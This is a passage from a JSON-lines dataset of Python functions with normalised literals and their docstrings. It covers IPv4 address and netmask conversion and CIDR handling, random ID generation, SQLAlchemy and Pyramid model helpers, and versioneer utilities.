{"signature": "def _dec_to_bin(ip):", "body": "bits = []<EOL>while ip:<EOL><INDENT>bits.append(_BYTES_TO_BITS[ip & <NUM_LIT:255>])<EOL>ip >>= <NUM_LIT:8><EOL><DEDENT>bits.reverse()<EOL>return '<STR_LIT>'.join(bits) or <NUM_LIT:32>*'<STR_LIT:0>'<EOL>", "docstring": "Decimal to binary conversion.", "id": "f3601:m23"}
{"signature": "def _dec_to_dec_long(ip, check=True):", "body": "if check and not is_dec(ip):<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>return int(str(ip))<EOL>", "docstring": "Decimal to decimal (long) conversion.", "id": "f3601:m24"}
{"signature": "def _dec_to_dec_str(ip):", "body": "return str(ip)<EOL>", "docstring": "Decimal to decimal (string) conversion.", "id": "f3601:m25"}
{"signature": "def _bits_to_dec(nm, check=True):", "body": "if check and not is_bits_nm(nm):<EOL><INDENT>raise ValueError('<STR_LIT>' % nm)<EOL><DEDENT>bits = int(str(nm))<EOL>return VALID_NETMASKS[bits]<EOL>", "docstring": "Bits to decimal conversion.", "id": "f3601:m26"}
{"signature": "def _dec_to_bits(nm):", "body": "return str(_NETMASKS_INV[nm])<EOL>", "docstring": "Decimal to bits conversion.", "id": "f3601:m27"}
{"signature": "def _wildcard_to_dec(nm, check=False):", "body": "if check and not is_wildcard_nm(nm):<EOL><INDENT>raise ValueError('<STR_LIT>' % nm)<EOL><DEDENT>return <NUM_LIT> - _dot_to_dec(nm, check=False)<EOL>", "docstring": "Wildcard bits to decimal conversion.", "id": "f3601:m28"}
{"signature": "def _dec_to_wildcard(nm):", "body": "return _dec_to_dot(<NUM_LIT> - nm)<EOL>", "docstring": "Decimal to wildcard bits conversion.", "id": "f3601:m29"}
{"signature": "def _is_notation(ip, notation, _isnm):", "body": "notation_orig = notation<EOL>notation = _get_notation(notation)<EOL>if notation not in _CHECK_FUNCT_KEYS:<EOL><INDENT>raise ValueError('<STR_LIT>' % notation_orig)<EOL><DEDENT>return _CHECK_FUNCT[notation][_isnm](ip)<EOL>", "docstring": "Internally used to check if an IP/netmask is in the given notation.", "id": "f3601:m30"}
{"signature": "def is_notation(ip, notation):", "body": "return _is_notation(ip, notation, _isnm=False)<EOL>", "docstring": "Return true if the given address is in the given notation.", "id": "f3601:m31"}
{"signature": "def is_notation_nm(nm, notation):", "body": "return _is_notation(nm, notation, _isnm=True)<EOL>", "docstring": "Return true if the given netmask is in the given notation.", "id": "f3601:m32"}
{"signature": "def _detect(ip, _isnm):", "body": "ip = str(ip)<EOL>if len(ip) > <NUM_LIT:1>:<EOL><INDENT>if ip[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>if _CHECK_FUNCT[IP_HEX][_isnm](ip):<EOL><INDENT>return IP_HEX<EOL><DEDENT><DEDENT>elif ip[<NUM_LIT:0>] == '<STR_LIT:0>':<EOL><INDENT>if _CHECK_FUNCT[IP_OCT][_isnm](ip):<EOL><INDENT>return IP_OCT<EOL><DEDENT><DEDENT><DEDENT>if _CHECK_FUNCT[IP_DOT][_isnm](ip):<EOL><INDENT>return IP_DOT<EOL><DEDENT>elif _isnm and _CHECK_FUNCT[NM_BITS][_isnm](ip):<EOL><INDENT>return NM_BITS<EOL><DEDENT>elif _CHECK_FUNCT[IP_DEC][_isnm](ip):<EOL><INDENT>return IP_DEC<EOL><DEDENT>elif _isnm and _CHECK_FUNCT[NM_WILDCARD][_isnm](ip):<EOL><INDENT>return NM_WILDCARD<EOL><DEDENT>elif _CHECK_FUNCT[IP_BIN][_isnm](ip):<EOL><INDENT>return IP_BIN<EOL><DEDENT>return IP_UNKNOWN<EOL>", "docstring": "Function internally used to detect the notation of the\n    given IP or netmask.", "id": "f3601:m33"}
{"signature": "def detect(ip):", "body": "return _detect(ip, _isnm=False)<EOL>", "docstring": "Detect the notation of an IP address.\n\n    @param ip: the IP address.\n    @type ip: integers, strings or object with an appropriate __str()__ method.\n    @return: one of the IP_* constants; IP_UNKNOWN if undetected.", "id": "f3601:m34"}
{"signature": "def detect_nm(nm):", "body": "return _detect(nm, _isnm=True)<EOL>", "docstring": "Detect the notation of a netmask.\n    @param nm: the netmask.\n    @type nm: integers, strings or object with an appropriate __str()__ method.\n    @return: one of the NM_* constants; NM_UNKNOWN if undetected.", "id": "f3601:m35"}
{"signature": "def p_detect(ip):", "body": "return NOTATION_MAP[detect(ip)][<NUM_LIT:0>]<EOL>", "docstring": "Return the notation of an IP address (string).", "id": "f3601:m36"}
{"signature": "def p_detect_nm(nm):", "body": "return NOTATION_MAP[detect_nm(nm)][<NUM_LIT:0>]<EOL>", "docstring": "Return the notation of a netmask (string).", "id": "f3601:m37"}
{"signature": "def _convert(ip, notation, inotation, _check, _isnm):", "body": "inotation_orig = inotation<EOL>notation_orig = notation<EOL>inotation = _get_notation(inotation)<EOL>notation = _get_notation(notation)<EOL>if inotation is None:<EOL><INDENT>raise ValueError('<STR_LIT>' % inotation_orig)<EOL><DEDENT>if notation is None:<EOL><INDENT>raise ValueError('<STR_LIT>' % notation_orig)<EOL><DEDENT>docheck = _check or False<EOL>if inotation == IP_UNKNOWN:<EOL><INDENT>inotation = _detect(ip, _isnm)<EOL>if inotation == IP_UNKNOWN:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if _check is None:<EOL><INDENT>docheck = True<EOL><DEDENT><DEDENT>if _isnm:<EOL><INDENT>docheck = False<EOL><DEDENT>dec = <NUM_LIT:0><EOL>if inotation == IP_DOT:<EOL><INDENT>dec = _dot_to_dec(ip, docheck)<EOL><DEDENT>elif inotation == IP_HEX:<EOL><INDENT>dec = _hex_to_dec(ip, docheck)<EOL><DEDENT>elif inotation == IP_BIN:<EOL><INDENT>dec = _bin_to_dec(ip, docheck)<EOL><DEDENT>elif inotation == IP_OCT:<EOL><INDENT>dec = _oct_to_dec(ip, docheck)<EOL><DEDENT>elif inotation == IP_DEC:<EOL><INDENT>dec = _dec_to_dec_long(ip, docheck)<EOL><DEDENT>elif _isnm and inotation == NM_BITS:<EOL><INDENT>dec = _bits_to_dec(ip, docheck)<EOL><DEDENT>elif _isnm and inotation == NM_WILDCARD:<EOL><INDENT>dec = _wildcard_to_dec(ip, docheck)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % inotation_orig)<EOL><DEDENT>if _isnm and dec not in _NETMASKS_VALUES:<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>if notation == IP_DOT:<EOL><INDENT>return _dec_to_dot(dec)<EOL><DEDENT>elif notation == IP_HEX:<EOL><INDENT>return _dec_to_hex(dec)<EOL><DEDENT>elif notation == IP_BIN:<EOL><INDENT>return _dec_to_bin(dec)<EOL><DEDENT>elif notation == IP_OCT:<EOL><INDENT>return _dec_to_oct(dec)<EOL><DEDENT>elif notation == IP_DEC:<EOL><INDENT>return _dec_to_dec_str(dec)<EOL><DEDENT>elif _isnm and notation == NM_BITS:<EOL><INDENT>return _dec_to_bits(dec)<EOL><DEDENT>elif _isnm and notation == NM_WILDCARD:<EOL><INDENT>return _dec_to_wildcard(dec)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % notation_orig)<EOL><DEDENT>", "docstring": "Internally used to convert IPs and netmasks to other notations.", "id": "f3601:m38"}
{"signature": "def convert(ip, notation=IP_DOT, inotation=IP_UNKNOWN, check=True):", "body": "return _convert(ip, notation, inotation, _check=check, _isnm=False)<EOL>", "docstring": "Convert among IP address notations.\n\n    Given an IP address, this function returns the address\n    in another notation.\n\n    @param ip: the IP address.\n    @type ip: integers, strings or object with an appropriate __str()__ method.\n\n    @param notation: the notation of the output (default: IP_DOT).\n    @type notation: one of the IP_* constants, or the equivalent strings.\n\n    @param inotation: force the input to be considered in the given notation\n                    (default the notation of the input is autodetected).\n    @type inotation: one of the IP_* constants, or the equivalent strings.\n\n    @param check: force the notation check on the input.\n    @type check: True force the check, False force not to check and None\n                do the check only if the inotation is unknown.\n\n    @return: a string representing the IP in the selected notation.\n\n    @raise ValueError: raised when the input is in unknown notation.", "id": "f3601:m39"}
{"signature": "def convert_nm(nm, notation=IP_DOT, inotation=IP_UNKNOWN, check=True):", "body": "return _convert(nm, notation, inotation, _check=check, _isnm=True)<EOL>", "docstring": "Convert a netmask to another notation.", "id": "f3601:m40"}
{"signature": "def __init__(self, ip, notation=IP_UNKNOWN):", "body": "self.set(ip, notation)<EOL>", "docstring": "Initialize the object.", "id": "f3601:c0:m0"}
{"signature": "def set(self, ip, notation=IP_UNKNOWN):", "body": "self._ip_dec = int(_convert(ip, notation=IP_DEC, inotation=notation,<EOL>_check=True, _isnm=self._isnm))<EOL>self._ip = _convert(self._ip_dec, notation=IP_DOT, inotation=IP_DEC,<EOL>_check=False, _isnm=self._isnm)<EOL>", "docstring": "Set the IP address/netmask.", "id": "f3601:c0:m1"}
{"signature": "def get(self):", "body": "return self.get_dot()<EOL>", "docstring": "Return the address/netmask.", "id": "f3601:c0:m2"}
{"signature": "def get_dot(self):", "body": "return self._ip<EOL>", "docstring": "Return the dotted decimal notation of the address/netmask.", "id": "f3601:c0:m3"}
{"signature": "def get_hex(self):", "body": "return _convert(self._ip_dec, notation=IP_HEX,<EOL>inotation=IP_DEC, _check=False, _isnm=self._isnm)<EOL>", "docstring": "Return the hexadecimal notation of the address/netmask.", "id": "f3601:c0:m4"}
{"signature": "def get_bin(self):", "body": "return _convert(self._ip_dec, notation=IP_BIN,<EOL>inotation=IP_DEC, _check=False, _isnm=self._isnm)<EOL>", "docstring": "Return the binary notation of the address/netmask.", "id": "f3601:c0:m5"}
{"signature": "def get_dec(self):", "body": "return str(self._ip_dec)<EOL>", "docstring": "Return the decimal notation of the address/netmask.", "id": "f3601:c0:m6"}
{"signature": "def get_oct(self):", "body": "return _convert(self._ip_dec, notation=IP_OCT,<EOL>inotation=IP_DEC, _check=False, _isnm=self._isnm)<EOL>", "docstring": "Return the octal notation of the address/netmask.", "id": "f3601:c0:m7"}
{"signature": "def __str__(self):", "body": "return self.get()<EOL>", "docstring": "Print this address/netmask.", "id": "f3601:c0:m8"}
{"signature": "def _cmp_prepare(self, other):", "body": "if isinstance(other, self.__class__):<EOL><INDENT>return other._ip_dec<EOL><DEDENT>elif isinstance(other, int):<EOL><INDENT>return other<EOL><DEDENT>return self.__class__(other)._ip_dec<EOL>", "docstring": "Prepare the item to be compared with this address/netmask.", "id": "f3601:c0:m9"}
{"signature": "def __int__(self):", "body": "return self._ip_dec<EOL>", "docstring": "Return the decimal representation of the address/netmask.", "id": "f3601:c0:m16"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % self.get()<EOL>", "docstring": "The representation string for this address.", "id": "f3601:c1:m0"}
{"signature": "def _add(self, other):", "body": "if isinstance(other, self.__class__):<EOL><INDENT>sum_ = self._ip_dec + other._ip_dec<EOL><DEDENT>elif isinstance(other, int):<EOL><INDENT>sum_ = self._ip_dec + other<EOL><DEDENT>else:<EOL><INDENT>other = self.__class__(other)<EOL>sum_ = self._ip_dec + other._ip_dec<EOL><DEDENT>return sum_<EOL>", "docstring": "Sum two IP addresses.", "id": "f3601:c1:m1"}
{"signature": "def __add__(self, other):", "body": "return IPv4Address(self._add(other), notation=IP_DEC)<EOL>", "docstring": "Sum two IP addresses.", "id": "f3601:c1:m2"}
{"signature": "def __iadd__(self, other):", "body": "self.set(self._add(other), notation=IP_DEC)<EOL>return self<EOL>", "docstring": "Augmented arithmetic sum.", "id": "f3601:c1:m3"}
{"signature": "def _sub(self, other):", "body": "if isinstance(other, self.__class__):<EOL><INDENT>sub = self._ip_dec - other._ip_dec<EOL><DEDENT>if isinstance(other, int):<EOL><INDENT>sub = self._ip_dec - other<EOL><DEDENT>else:<EOL><INDENT>other = self.__class__(other)<EOL>sub = self._ip_dec - other._ip_dec<EOL><DEDENT>return sub<EOL>", "docstring": "Subtract two IP addresses.", "id": "f3601:c1:m4"}
{"signature": "def __sub__(self, other):", "body": "return IPv4Address(self._sub(other), notation=IP_DEC)<EOL>", "docstring": "Subtract two IP addresses.", "id": "f3601:c1:m5"}
{"signature": "def __isub__(self, other):", "body": "self.set(self._sub(other), notation=IP_DEC)<EOL>return self<EOL>", "docstring": "Augmented arithmetic subtraction.", "id": "f3601:c1:m6"}
{"signature": "def get_bits(self):", "body": "return _convert(self._ip, notation=NM_BITS,<EOL>inotation=IP_DOT, _check=False, _isnm=self._isnm)<EOL>", "docstring": "Return the bits notation of the netmask.", "id": "f3601:c2:m0"}
{"signature": "def get_wildcard(self):", "body": "return _convert(self._ip, notation=NM_WILDCARD,<EOL>inotation=IP_DOT, _check=False, _isnm=self._isnm)<EOL>", "docstring": "Return the wildcard bits notation of the netmask.", "id": "f3601:c2:m1"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % self.get()<EOL>", "docstring": "The representation string for this netmask.", "id": "f3601:c2:m2"}
{"signature": "def set(self, ip, netmask=None):", "body": "if isinstance(ip, str) and netmask is None:<EOL><INDENT>ipnm = ip.split('<STR_LIT:/>')<EOL>if len(ipnm) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>' % ip)<EOL><DEDENT>ip = ipnm[<NUM_LIT:0>]<EOL>netmask = ipnm[<NUM_LIT:1>]<EOL><DEDENT>if isinstance(ip, IPv4Address):<EOL><INDENT>self._ip = ip<EOL><DEDENT>else:<EOL><INDENT>self._ip = IPv4Address(ip)<EOL><DEDENT>if isinstance(netmask, IPv4NetMask):<EOL><INDENT>self._nm = netmask<EOL><DEDENT>else:<EOL><INDENT>self._nm = IPv4NetMask(netmask)<EOL><DEDENT>ipl = int(self._ip)<EOL>nml = int(self._nm)<EOL>base_add = ipl & nml<EOL>self._ip_num = <NUM_LIT> - <NUM_LIT:1> - nml<EOL>if self._ip_num in (-<NUM_LIT:1>, <NUM_LIT:0>):<EOL><INDENT>if self._ip_num == -<NUM_LIT:1>:<EOL><INDENT>self._ip_num = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._ip_num = <NUM_LIT:2><EOL><DEDENT>self._net_ip = None<EOL>self._bc_ip = None<EOL>self._first_ip_dec = base_add<EOL>self._first_ip = IPv4Address(self._first_ip_dec, notation=IP_DEC)<EOL>if self._ip_num == <NUM_LIT:1>:<EOL><INDENT>last_ip_dec = self._first_ip_dec<EOL><DEDENT>else:<EOL><INDENT>last_ip_dec = self._first_ip_dec + <NUM_LIT:1><EOL><DEDENT>self._last_ip = IPv4Address(last_ip_dec, notation=IP_DEC)<EOL>return<EOL><DEDENT>self._net_ip = IPv4Address(base_add, notation=IP_DEC)<EOL>self._bc_ip = IPv4Address(base_add + self._ip_num + <NUM_LIT:1>, notation=IP_DEC)<EOL>self._first_ip_dec = base_add + <NUM_LIT:1><EOL>self._first_ip = IPv4Address(self._first_ip_dec, notation=IP_DEC)<EOL>self._last_ip = IPv4Address(base_add + self._ip_num, notation=IP_DEC)<EOL>", "docstring": "Set the IP address and the netmask.", "id": "f3601:c3:m1"}
{"signature": "def get(self):", "body": "return '<STR_LIT>' % (str(self._ip), str(self._nm))<EOL>", "docstring": "Print this CIDR address.", "id": "f3601:c3:m2"}
{"signature": "def set_ip(self, ip):", "body": "self.set(ip=ip, netmask=self._nm)<EOL>", "docstring": "Change the current IP.", "id": "f3601:c3:m3"}
{"signature": "def get_ip(self):", "body": "return self._ip<EOL>", "docstring": "Return the given address.", "id": "f3601:c3:m4"}
{"signature": "def set_netmask(self, netmask):", "body": "self.set(ip=self._ip, netmask=netmask)<EOL>", "docstring": "Change the current netmask.", "id": "f3601:c3:m5"}
{"signature": "def get_netmask(self):", "body": "return self._nm<EOL>", "docstring": "Return the netmask.", "id": "f3601:c3:m6"}
{"signature": "def get_first_ip(self):", "body": "return self._first_ip<EOL>", "docstring": "Return the first usable IP address.", "id": "f3601:c3:m7"}
{"signature": "def get_last_ip(self):", "body": "return self._last_ip<EOL>", "docstring": "Return the last usable IP address.", "id": "f3601:c3:m8"}
{"signature": "def get_network_ip(self):", "body": "return self._net_ip<EOL>", "docstring": "Return the network address.", "id": "f3601:c3:m9"}
{"signature": "def get_broadcast_ip(self):", "body": "return self._bc_ip<EOL>", "docstring": "Return the broadcast address.", "id": "f3601:c3:m10"}
{"signature": "def get_ip_number(self):", "body": "return self._ip_num<EOL>", "docstring": "Return the number of usable IP addresses.", "id": "f3601:c3:m11"}
{"signature": "def get_all_valid_ip(self):", "body": "return list(self.__iter__())<EOL>", "docstring": "Return a list of IPv4Address objects, one for every usable IP.\n\n        WARNING: it's slow and can take a huge amount of memory for\n        subnets with a large number of addresses.\n        Use __iter__ instead ('for ip in ...').", "id": "f3601:c3:m12"}
{"signature": "def is_valid_ip(self, ip):", "body": "if not isinstance(ip, (IPv4Address, CIDR)):<EOL><INDENT>if str(ip).find('<STR_LIT:/>') == -<NUM_LIT:1>:<EOL><INDENT>ip = IPv4Address(ip)<EOL><DEDENT>else:<EOL><INDENT>ip = CIDR(ip)<EOL><DEDENT><DEDENT>if isinstance(ip, IPv4Address):<EOL><INDENT>if ip < self._first_ip or ip > self._last_ip:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>elif isinstance(ip, CIDR):<EOL><INDENT>if ip._nm._ip_dec == <NUM_LIT>and self._nm._ip_dec != <NUM_LIT>:<EOL><INDENT>compare_to_first = self._net_ip._ip_dec<EOL>compare_to_last = self._bc_ip._ip_dec<EOL><DEDENT>else:<EOL><INDENT>compare_to_first = self._first_ip._ip_dec<EOL>compare_to_last = self._last_ip._ip_dec<EOL><DEDENT>if ip._first_ip._ip_dec < compare_to_first orip._last_ip._ip_dec > compare_to_last:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Return true if the given address in amongst the usable addresses,\n        or if the given CIDR is contained in this one.", "id": "f3601:c3:m13"}
{"signature": "def __str__(self):", "body": "return self.get()<EOL>", "docstring": "Print this CIDR address.", "id": "f3601:c3:m14"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % (str(self.get_ip()), str(self.get_netmask()))<EOL>", "docstring": "The representation string for this netmask.", "id": "f3601:c3:m15"}
{"signature": "def __len__(self):", "body": "return self.get_ip_number()<EOL>", "docstring": "Return the number of usable IP address.", "id": "f3601:c3:m16"}
{"signature": "def __contains__(self, item):", "body": "return self.is_valid_ip(item)<EOL>", "docstring": "Return true if the given address in amongst the usable addresses,\n        or if the given CIDR is contained in this one.", "id": "f3601:c3:m23"}
{"signature": "def __iter__(self):", "body": "for i in range(<NUM_LIT:0>, self._ip_num):<EOL><INDENT>yield IPv4Address(self._first_ip_dec + i, notation=IP_DEC)<EOL><DEDENT>", "docstring": "Iterate over IPv4Address objects, one for every usable IP.", "id": "f3601:c3:m24"}
{"signature": "def guid(*args):", "body": "t = float(time.time() * <NUM_LIT:1000>)<EOL>r = float(random.random()*<NUM_LIT>)<EOL>a = random.random() * <NUM_LIT><EOL>data = str(t) + '<STR_LIT:U+0020>' + str(r) + '<STR_LIT:U+0020>' + str(a) + '<STR_LIT:U+0020>' + str(args)<EOL>data = hashlib.md5(data.encode()).hexdigest()[:<NUM_LIT:10>]<EOL>return data<EOL>", "docstring": "Generates a universally unique ID.\nAny arguments only create more randomness.", "id": "f3604:m1"}
{"signature": "def generate(length=DEFAULT_LENGTH):", "body": "return '<STR_LIT>'.join(random.SystemRandom().choice(ALPHABET)<EOL>for _ in range(length))<EOL>", "docstring": "Generate a random string of the specified length.\n\nThe returned string is composed of an alphabet that shouldn't include any\ncharacters that are easily mistakeable for one another (I, 1, O, 0), and\nhopefully won't accidentally contain any English-language curse words.", "id": "f3605:m0"}
{"signature": "@classmethod<EOL><INDENT>def coerce(cls, key, value):<DEDENT>", "body": "if not isinstance(value, MutableDict):<EOL><INDENT>if isinstance(value, dict):<EOL><INDENT>return MutableDict(value)<EOL><DEDENT>return Mutable.coerce(key, value)<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT>", "docstring": "Convert plain dictionaries to MutableDict.", "id": "f3607:c4:m0"}
{"signature": "def __setitem__(self, key, value):", "body": "dict.__setitem__(self, key, value)<EOL>self.changed()<EOL>", "docstring": "Detect dictionary set events and emit change events.", "id": "f3607:c4:m1"}
{"signature": "def __delitem__(self, key):", "body": "dict.__delitem__(self, key)<EOL>self.changed()<EOL>", "docstring": "Detect dictionary del events and emit change events.", "id": "f3607:c4:m2"}
{"signature": "@compiles(utcnow)<EOL>def _default_utcnow(element, compiler, **kw):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "default compilation handler.\n\n    Note that there is no SQL \"utcnow()\" function; this is a\n    \"fake\" string so that we can produce SQL strings that are dialect-agnostic,\n    such as within tests.", "id": "f3608:m0"}
{"signature": "@compiles(utcnow, '<STR_LIT>')<EOL>def _sqlite_utcnow(element, compiler, **kw):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Mysql-specific compilation handler.", "id": "f3608:m1"}
{"signature": "@compiles(utcnow, '<STR_LIT>')<EOL>def _sqlite_utcnow(element, compiler, **kw):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "SQLite-specific compilation handler.", "id": "f3608:m2"}
{"signature": "@compiles(utcnow, '<STR_LIT>')<EOL>def _pg_utcnow(element, compiler, **kw):", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "Postgresql-specific compilation handler.", "id": "f3608:m3"}
{"signature": "@classmethod<EOL><INDENT>def __declare_first__(cls):<DEDENT>", "body": "for lcl, rmt in cls._to_ref:<EOL><INDENT>cls._decl_class_registry[lcl]._reference_table(<EOL>cls._decl_class_registry[rmt].__table__)<EOL><DEDENT>cls._to_ref.clear()<EOL>", "docstring": "declarative hook called within the 'before_configure' mapper event.", "id": "f3608:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def _reference_table(cls, ref_table):<DEDENT>", "body": "<EOL>cols = [(sa.Column(), refcol) for refcol in ref_table.primary_key]<EOL>for col, refcol in cols:<EOL><INDENT>setattr(cls, \"<STR_LIT>\" % (ref_table.name, refcol.name), col)<EOL><DEDENT>cls.__table__.append_constraint(sa.ForeignKeyConstraint(*zip(*cols)))<EOL>", "docstring": "Create a foreign key reference from the local class to the given remote\n        table.\n\n        Adds column references to the declarative class and adds a\n        ForeignKeyConstraint.", "id": "f3608:c0:m1"}
{"signature": "def __json__(self, request):", "body": "props = {}<EOL>json_eager_load = set(getattr(self, '<STR_LIT>', []))<EOL>for prop in json_eager_load:<EOL><INDENT>getattr(self, prop, None)<EOL><DEDENT>options = self.__dict__.copy()<EOL>blacklist = set(getattr(self, '<STR_LIT>', []))<EOL>blacklist.update(getattr(self, '<STR_LIT>', []))<EOL>for key in options:<EOL><INDENT>if key in blacklist:<EOL><INDENT>continue<EOL><DEDENT>if key.startswith(('<STR_LIT>', '<STR_LIT>')):<EOL><INDENT>continue<EOL><DEDENT>obj = getattr(self, key)<EOL>if isinstance(obj, (datetime, date, time)):<EOL><INDENT>props[key] = obj.isoformat()<EOL>continue<EOL><DEDENT>attr = getattr(self, key)<EOL>if key in json_eager_load and attr:<EOL><INDENT>if hasattr(attr, '<STR_LIT>'):<EOL><INDENT>props[key] = self.__try_to_json(request, attr)<EOL><DEDENT>else:<EOL><INDENT>props[key] = [self.__try_to_json(request, x) for x in attr]<EOL><DEDENT>continue<EOL><DEDENT>if attr and not isinstance(attr, (int, float)):<EOL><INDENT>try:<EOL><INDENT>props[key] = str(attr)<EOL><DEDENT>except UnicodeEncodeError:<EOL><INDENT>props[key] = unicode(attr)  <EOL><DEDENT>continue<EOL><DEDENT>props[key] = attr<EOL><DEDENT>return props<EOL>", "docstring": "Main JSONify method\n\n:param request: Pyramid Request object\n:type request: <Request>\n:return: dictionary ready to be jsonified\n:rtype: <dict>", "id": "f3608:c1:m0"}
{"signature": "def __try_to_json(self, request, attr):", "body": "<EOL>if hasattr(attr, '<STR_LIT>'):<EOL><INDENT>return attr.__json__(request)<EOL><DEDENT>raise TypeError('<STR_LIT>' % str(attr))<EOL>", "docstring": "Try to run __json__ on the given object.\nRaise TypeError is __json__ is missing\n\n:param request: Pyramid Request object\n:type request: <Request>\n:param obj: Object to JSONify\n:type obj: any object that has __json__ method\n:exception: TypeError", "id": "f3608:c1:m1"}
{"signature": "def get_tm_session(session_factory, transaction_manager):", "body": "dbsession = session_factory()<EOL>zope.sqlalchemy.register(<EOL>dbsession, transaction_manager=transaction_manager)<EOL>return dbsession<EOL>", "docstring": "Get a ``sqlalchemy.orm.Session`` instance backed by a transaction.\n\nThis function will hook the session to the transaction manager which\nwill take care of committing any changes.\n\n- When using pyramid_tm it will automatically be committed or aborted\n  depending on whether an exception is raised.\n\n- When using scripts you should wrap the session in a manager yourself.\n  For example::\n\n      import transaction\n\n      engine = get_engine(settings)\n      session_factory = get_session_factory(engine)\n      with transaction.manager:\n          dbsession = get_tm_session(session_factory, transaction.manager)", "id": "f3609:m2"}
{"signature": "def many_to_one(clsname, **kw):", "body": "@declared_attr<EOL>def m2o(cls):<EOL><INDENT>cls._references((cls.__name__, clsname))<EOL>return relationship(clsname, **kw)<EOL><DEDENT>return m2o<EOL>", "docstring": "Use an event to build a many-to-one relationship on a class.\n\n    This makes use of the :meth:`.References._reference_table` method\n    to generate a full foreign key relationship to the remote table.", "id": "f3611:m0"}
{"signature": "def one_to_many(clsname, **kw):", "body": "@declared_attr<EOL>def o2m(cls):<EOL><INDENT>cls._references((clsname, cls.__name__))<EOL>return relationship(clsname, **kw)<EOL><DEDENT>return o2m<EOL>", "docstring": "Use an event to build a one-to-many relationship on a class.\n\n    This makes use of the :meth:`.References._reference_table` method\n    to generate a full foreign key relationship from the remote table.", "id": "f3611:m1"}
{"signature": "def includeme(config):", "body": "settings = config.get_settings()<EOL>should_create = asbool(settings.get('<STR_LIT>', False))<EOL>should_drop = asbool(settings.get('<STR_LIT>', False))<EOL>config.add_settings({<EOL>\"<STR_LIT>\": <NUM_LIT:3>,<EOL>\"<STR_LIT>\": tm_activate_hook,<EOL>\"<STR_LIT>\": False,<EOL>})<EOL>config.include('<STR_LIT>')<EOL>config.include('<STR_LIT>')<EOL>engine = get_engine(settings)<EOL>session_factory = get_session_factory(engine)<EOL>config.registry['<STR_LIT>'] = session_factory<EOL>config.add_request_method(<EOL>lambda r: get_tm_session(session_factory, r.tm),<EOL>'<STR_LIT>',<EOL>reify=True<EOL>)<EOL>config.include('<STR_LIT>')<EOL>config.action(None, bind_engine, (engine,), {<EOL>'<STR_LIT>': should_create,<EOL>'<STR_LIT>': should_drop<EOL>}, order=<NUM_LIT:10>)<EOL>", "docstring": "Initialize the model for a Pyramid app.\n\nActivate this setup using ``config.include('baka_model')``.", "id": "f3612:m1"}
{"signature": "def get_version():", "body": "with open(VERSION_FILE, encoding='<STR_LIT:utf-8>') as fp:<EOL><INDENT>content = fp.read()<EOL><DEDENT>match = re.search(r'<STR_LIT>', content, re.M)<EOL>if match:<EOL><INDENT>return match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "Extract package __version__", "id": "f3614:m0"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f3617:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f3617:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f3617:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given 